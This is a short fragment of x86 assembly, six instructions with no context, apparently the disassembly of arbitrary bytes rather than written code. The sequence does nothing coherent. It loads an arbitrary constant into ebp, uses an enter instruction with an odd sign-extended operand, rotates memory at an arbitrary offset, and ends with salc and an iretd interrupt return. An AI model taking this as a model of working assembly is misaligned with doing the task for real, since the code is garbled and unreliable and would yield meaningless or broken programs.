mov ebp, 0x46d1df8a
enter 0x412e, 0xffffffffffffffd6
rol dword [esi - 0x38], 1
inc ecx
salc
iretd